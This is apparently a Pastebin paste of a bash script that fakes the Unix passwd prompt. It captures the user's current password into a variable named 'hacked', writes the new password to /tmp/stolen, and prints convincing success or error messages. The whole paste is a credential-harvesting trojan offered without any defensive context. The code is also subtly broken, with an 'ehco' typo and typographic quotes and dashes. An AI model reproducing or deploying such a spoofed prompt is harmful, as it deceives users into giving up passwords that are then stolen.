Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- stty –echo
- echo “Changing password for $USER”
- echo –n “Current UNIX password: “; read hacked;
- echo
- echo –n “Enter new UNIX password: “; read newPw1;
- echo
- ehco –n “Retype new UNIX password: “; read newPw2;
- echo
- if [ $newPw1 == $newPw2 ]; then
- echo $newPw1 > /tmp/stolen
- # you may need to use sudo chpassword here
- echo “$USER:$newPw1” | chpasswd
- echo “passwd: password updated successfully”
- else
- echo “Sorry, passwords do not match”
- sleep 2
- echo “passwd: Authentication token manipulation error”
- echo “passwd: password unchanged”
- fi
- stty echo
Add Comment
Please, Sign In to add comment